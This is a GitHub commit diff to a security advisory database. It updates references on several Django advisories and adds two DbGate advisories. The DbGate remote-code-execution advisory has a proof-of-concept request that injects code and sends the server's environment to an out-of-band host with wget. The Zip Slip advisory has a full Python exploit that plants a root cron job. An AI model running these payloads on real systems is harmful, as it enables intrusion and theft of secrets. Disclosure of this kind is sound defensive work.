Skip to content

Commit 153c1d7

Browse files
1 parent 0d674bf commit 153c1d7

7 files changed

Lines changed: 159 additions & 5 deletions

File tree

advisories/github-reviewed/2026/02/GHSA-4rrr-2h4v-f3j9/GHSA-4rrr-2h4v-f3j9.json

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-4rrr-2h4v-f3j9",
4-
"modified": "2026-02-03T19:31:15Z",
4+
"modified": "2026-06-05T16:24:26Z",
55
"published": "2026-02-03T15:30:23Z",
66
"aliases": [
77
"CVE-2026-1285"
@@ -90,6 +90,10 @@
9090
"type": "PACKAGE",
9191
"url": "https://github.com/django/django"
9292
},
93+
{
94+
"type": "WEB",
95+
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2026-45.yaml"
96+
},
9397
{
9498
"type": "WEB",
9599
"url": "https://groups.google.com/g/django-announce"

advisories/github-reviewed/2026/02/GHSA-6426-9fv3-65x8/GHSA-6426-9fv3-65x8.json

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-6426-9fv3-65x8",
4-
"modified": "2026-02-13T19:55:25Z",
4+
"modified": "2026-06-05T16:25:05Z",
55
"published": "2026-02-03T15:30:24Z",
66
"aliases": [
77
"CVE-2026-1312"
@@ -94,6 +94,10 @@
9494
"type": "PACKAGE",
9595
"url": "https://github.com/django/django"
9696
},
97+
{
98+
"type": "WEB",
99+
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2026-47.yaml"
100+
},
97101
{
98102
"type": "WEB",
99103
"url": "https://groups.google.com/g/django-announce"

advisories/github-reviewed/2026/02/GHSA-gvg8-93h5-g6qq/GHSA-gvg8-93h5-g6qq.json

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-gvg8-93h5-g6qq",
4-
"modified": "2026-02-03T19:34:22Z",
4+
"modified": "2026-06-05T16:24:54Z",
55
"published": "2026-02-03T15:30:24Z",
66
"aliases": [
77
"CVE-2026-1287"
@@ -90,6 +90,10 @@
9090
"type": "PACKAGE",
9191
"url": "https://github.com/django/django"
9292
},
93+
{
94+
"type": "WEB",
95+
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2026-46.yaml"
96+
},
9397
{
9498
"type": "WEB",
9599
"url": "https://groups.google.com/g/django-announce"

advisories/github-reviewed/2026/02/GHSA-mwm9-4648-f68q/GHSA-mwm9-4648-f68q.json

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-mwm9-4648-f68q",
4-
"modified": "2026-02-03T19:32:56Z",
4+
"modified": "2026-06-05T16:24:42Z",
55
"published": "2026-02-03T15:30:23Z",
66
"aliases": [
77
"CVE-2026-1207"
@@ -90,6 +90,10 @@
9090
"type": "PACKAGE",
9191
"url": "https://github.com/django/django"
9292
},
93+
{
94+
"type": "WEB",
95+
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2026-44.yaml"
96+
},
9397
{
9498
"type": "WEB",
9599
"url": "https://groups.google.com/g/django-announce"

advisories/github-reviewed/2026/03/GHSA-2jpr-83rg-v67j/GHSA-2jpr-83rg-v67j.json

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-2jpr-83rg-v67j",
4-
"modified": "2026-03-05T21:15:25Z",
4+
"modified": "2026-06-05T16:25:18Z",
55
"published": "2026-03-05T06:30:27Z",
66
"aliases": [
77
"CVE-2026-27982"
@@ -52,6 +52,10 @@
5252
"type": "PACKAGE",
5353
"url": "https://github.com/pennersr/django-allauth"
5454
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/django-allauth/PYSEC-2026-56.yaml"
58+
},
5559
{
5660
"type": "WEB",
5761
"url": "https://jvn.jp/en/jp/JVN23669411"
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8v3q-9vmx-36vc",
4+
"modified": "2026-06-05T16:25:23Z",
5+
"published": "2026-06-05T16:25:23Z",
6+
"aliases": [
7+
"CVE-2026-47668"
8+
],
9+
"summary": "DbGate: Unauthenticated Remote Code Execution via JSON Script Runner",
10+
"details": "### Summary\nDbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. The `functionName` value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.\n\n### Details\n#### Step 1: User Input Entry Point\n\n**File:** `packages/api/src/controllers/runners.js` - `start()` method\n\nThe `/runners/start` endpoint accepts a POST body containing a `script` object. When `script.type == 'json'`, the request follows a different code path than raw shell scripts:\n\n```javascript\nasync start({ script }, req) {\n if (script.type == 'json') {\n if (!platformInfo.isElectron) {\n if (!checkSecureDirectoriesInScript(script)) {\n return { errorMessage: 'Unallowed directories in script' };\n }\n }\n logJsonRunnerScript(req, script);\n const js = await jsonScriptToJavascript(script);\n return this.startCore(runid, scriptTemplate(js, false));\n }\n```\nThis path skips:\n1. The `run-shell-script` permission check\n2. The `allowShellScripting` platform-level check\n\nThe only validation performed is `checkSecureDirectoriesInScript()`, which `props.fileName` values\n\n---\n\n#### Step 2: JSON-to-JavaScript Conversion (Injection Point)\n\n**File:** `packages/tools/src/ScriptWriter.ts` - `assignCore()` method\n\nThe JSON script's `commands` array contains objects with `type: \"assign\"`. The `assignCore` method generates JavaScript by direct string concatenation of user-controlled values:\n\n```typescript\nassignCore(variableName, functionName, props) {\n this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);\n}\n```\n\nBoth `variableName` and `functionName` are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.\n\n---\n\n#### Step 3: Function Name Compilation\n\n**File:** `packages/tools/src/packageTools.ts` - `compileShellApiFunctionName()`\n\nBefore interpolation, `functionName` passes through this function:\n\n```typescript\nexport function compileShellApiFunctionName(functionName) {\n const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);\n if (nsMatch) {\n return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;\n }\n return `dbgateApi.${functionName}`;\n}\n```\n\nAn attacker supplying `functionName: \"x;MALICIOUS_CODE;//\"` gets:\n```\ndbgateApi.x;MALICIOUS_CODE;//\n```\n\nThis is syntactically valid JavaScript: `dbgateApi.x` evaluates (and is discarded), `MALICIOUS_CODE` executes, and `//` comments out the trailing `(${JSON.stringify(props)});`.\n\n---\n\n#### Step 4: Generated JavaScript Template\n\nThe complete generated script that gets executed:\n\n```javascript\nconst dbgateApi = require(process.env.DBGATE_API);\nrequire = null;\nasync function run() {\n const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget <attacker host>');//({});\n await dbgateApi.finalizer.run();\n}\ndbgateApi.runScript(run);\n```\n\n#### Step 5: Execution via child_process.fork()\n\n**File:** `packages/api/src/controllers/runners.js` - `startCore()` method\n\nThe generated JavaScript string is written to a temporary file and executed as a new Node.js process via `child_process.fork()`. This provides the attacker with a full Node.js runtime, including access to `process`, `child_process`, `fs`, `net`, and all other Node.js built-in modules.\n\nThe `require = null` sandbox can be bypassed via:\n- `process.mainModule.require()` - separate reference unaffected by the null assignment\n- `module.constructor._load()` - internal module loader, also unaffected\n---\n\n#### Additional Injection Points\n\nThe same unsanitised string interpolation pattern exists in:\n\n| Endpoint | Parameter | File |\n|----------|-----------|------|\n| `POST /runners/start` | `functionName` in assign commands | `ScriptWriter.ts` - `assignCore()` |\n| `POST /runners/start` | `variableName` in assign commands | `ScriptWriter.ts` - `assignCore()` |\n| `POST /runners/load-reader` | `functionName` parameter | `ScriptWriter.ts` - `loaderScriptTemplate` |\n\n### PoC\n```http\nPOST /runners/start HTTP/1.1\nHost: <dbgate-instance>:3000\nAuthorization: Bearer <token>\nContent-Type: application/json\n\n{\n \"script\": {\n \"type\": \"json\",\n \"commands\": [\n {\n \"type\": \"assign\",\n \"variableName\": \"x\",\n \"functionName\": \"x;process.mainModule.require('child_process').execSync('wget --post-data \\\"$(env 2>1&)\\\" <out of band host>');//\",\n \"props\": {}\n }\n ],\n \"packageNames\": []\n }\n}\n```\n\nThe request to the out of band host was as follows:\n\n```http\nPOST / HTTP/1.1\nHost: <out of band host>\nUser-Agent: Wget/1.21.3\nAccept: */*\nAccept-Encoding: identity\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 251\n\nNODE_VERSION=22.22.2\nHOSTNAME=4714c7a7405f\nYARN_VERSION=1.22.22\nHOME=/root\nTERM=xterm\nPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nDBGATE_API=/home/dbgate-docker/bundle.js\nPWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c\n```\n\n---\n\nA bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:\n\n```bash\ncurl -sk -H \"Content-Type: application/json\" -d '{\"amoid\":\"none\"}' <dbgate-instance>:3000/auth/login\n```\n\n### Impact\n\n| Scenario | Impact | CVSS Score | CVSS Vector | \n|----------|--------|--------|--------|\n| Anonymous auth mode (default deployment) (`authProvider: \"Anonymous\"`) | Unauthenticated RCE | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |\n| Authenticated deployment | Authenticated RCE - any user with API access | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |\n\n### Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-31 | Vulnerability discovered |\n| 2026-04-07 | Advisory report prepared and submitted to maintainer |\n| 2026-04-22 | Fix released (v7.1.9) |\n| 2026-04-24 | Maintainer acknowledgment |\n| 2026-05-20 | Public disclosure |\n\n### Acknowledgements\n\n- Discovery assisted by Neo from @ProjectDiscovery\n- Initial research direction inspired by @H0j3n — https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "dbgate-serve"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "7.1.9"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 7.1.8"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/dbgate/dbgate/security/advisories/GHSA-8v3q-9vmx-36vc"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/dbgate/dbgate"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/dbgate/dbgate/releases/tag/v7.1.9"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-1188",
62+
"CWE-20",
63+
"CWE-94"
64+
],
65+
"severity": "CRITICAL",
66+
"github_reviewed": true,
67+
"github_reviewed_at": "2026-06-05T16:25:23Z",
68+
"nvd_published_at": null
69+
}
70+
}
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-h535-j5hr-mv56",
4+
"modified": "2026-06-05T16:26:01Z",
5+
"published": "2026-06-05T16:26:01Z",
6+
"aliases": [
7+
"CVE-2026-47669"
8+
],
9+
"summary": "DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE",
10+
"details": "The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem.\n\nIn the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker.\n\n**Affected code:**\n\n`packages/api/src/shell/unzipDirectory.js`, line 27:\n```js\nconst destPath = path.join(outputDirectory, entry.fileName);\n// No check that destPath stays within outputDirectory\n```\n\nCalled from `packages/api/src/controllers/archive.js`, lines 291-293:\n```js\nasync unzip({ folder }) {\n const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });\n await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));\n```\n\nThe archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.\n\n**PoC:**\n\n```python\nimport requests, zipfile, io\n\nTARGET = \"http://localhost:3000\"\n\n# Get auth token (no credentials needed in default Docker)\nr = requests.post(f\"{TARGET}/api/auth/login\", json={\"amoid\": \"none\"})\ntoken = r.json()[\"accessToken\"]\nhdrs = {\"Authorization\": f\"Bearer {token}\"}\n\n# Create malicious ZIP with path traversal\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, 'w') as zf:\n zf.writestr(\"../../../../../../etc/cron.d/dbgate-pwn\",\n \"* * * * * root id > /tmp/pwned\\n\")\nbuf.seek(0)\n\n# Upload ZIP\nr = requests.post(f\"{TARGET}/api/uploads/upload\", headers=hdrs,\n files={\"data\": (\"evil.zip\", buf, \"application/zip\")})\ninfo = r.json()\n\n# Save to archive\nrequests.post(f\"{TARGET}/api/archive/save-uploaded-zip\", headers=hdrs,\n json={\"filePath\": info[\"filePath\"], \"fileName\": \"evil.zip\"})\n\n# Trigger Zip Slip - writes cron job to /etc/cron.d/\nrequests.post(f\"{TARGET}/api/archive/unzip\", headers=hdrs,\n json={\"folder\": \"evil.zip\"})\nprint(\"Check /tmp/pwned after 1 minute\")\n```\n\n**Impact:** Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "dbgate"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "7.1.9"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 7.1.8"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/dbgate/dbgate/security/advisories/GHSA-h535-j5hr-mv56"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/dbgate/dbgate"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/dbgate/dbgate/releases/tag/v7.1.9"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-22"
58+
],
59+
"severity": "CRITICAL",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-06-05T16:26:01Z",
62+
"nvd_published_at": null
63+
}
64+
}

0 commit comments

Comments
 (0)